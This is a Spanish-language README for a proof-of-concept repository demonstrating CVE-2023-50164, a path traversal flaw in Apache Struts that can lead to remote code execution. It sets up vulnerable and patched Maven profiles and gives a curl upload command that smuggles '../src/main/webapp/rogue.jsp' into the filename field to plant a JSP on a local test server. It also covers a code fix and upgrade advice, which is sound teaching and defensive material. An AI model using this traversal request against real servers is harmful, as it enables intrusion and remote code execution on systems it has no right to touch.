
Esto es una Prueba de Concepto (PoC) para CVE-2023-50164, que describe una nueva vulnerabilidad de path traversal que puede conducir a la ejecución remota de código (RCE) en struts-core.
Para remediar el problema, se recomienda actualizar a Struts 2.5.33 o Struts 6.3.0.2 o superior.
Este repositorio se basa en el excelente trabajo de Henrik Plate disponible aquí.
Hay dos perfiles de Maven en este proyecto: vuln y no-vuln. vuln es el predeterminado.
Para ejecutar con la vulnerabilidad RCE, ejecuta lo siguiente:
mvn clean jetty:run -P vuln
Para ejecutar sin la vulnerabilidad RCE, ejecuta lo siguiente:
mvn clean jetty:run -P no-vuln
La diferencia entre los dos perfiles es que vuln usa struts-core versión 6.3.0.1
(que tiene la vulnerabilidad de path traversal) y no-vuln usa struts-core versión 6.3.0.2
(que no tiene la vulnerabilidad de path traversal).
Mientras ejecutas el perfil vuln descrito anteriormente, ejecuta lo siguiente:
curl \
http://localhost:9999/struts-vuln-poc/upload.action \
-F "Upload=@./payload/rogue.jsp" \
-F "uploadFileName=../src/main/webapp/rogue.jsp"
Podrás ver el archivo rogue.jsp en la carpeta src/main/webapp y podrás navegar a él en:
http://localhost:9999/struts-vuln-poc/rogue.jsp (verás un mensaje de Ya been PWNED!).
Existe una solución de corrección de código que funciona con las versiones antiguas de Struts, pero, aún así se recomienda encarecidamente actualizar tu versión de Struts.
Para poner en práctica la corrección de código, ejecuta lo siguiente:
curl \
http://localhost:9999/struts-vuln-poc/upload-no-vuln.action \
-F "Upload=@./payload/rogue.jsp" \
-F "uploadFileName=../src/main/webapp/rogue.jsp"
Verás un mensaje de error: Attempted path traversal attack
NOTA: Si usas el perfil no-vuln, no obtendrás un mensaje de error desde el endpoint /upload-no-vuln, incluso si usas una ruta relativa como: ../src/main/webapp/rogue.jsp, ya que la nueva versión de struts elimina automáticamente las referencias a rutas relativas.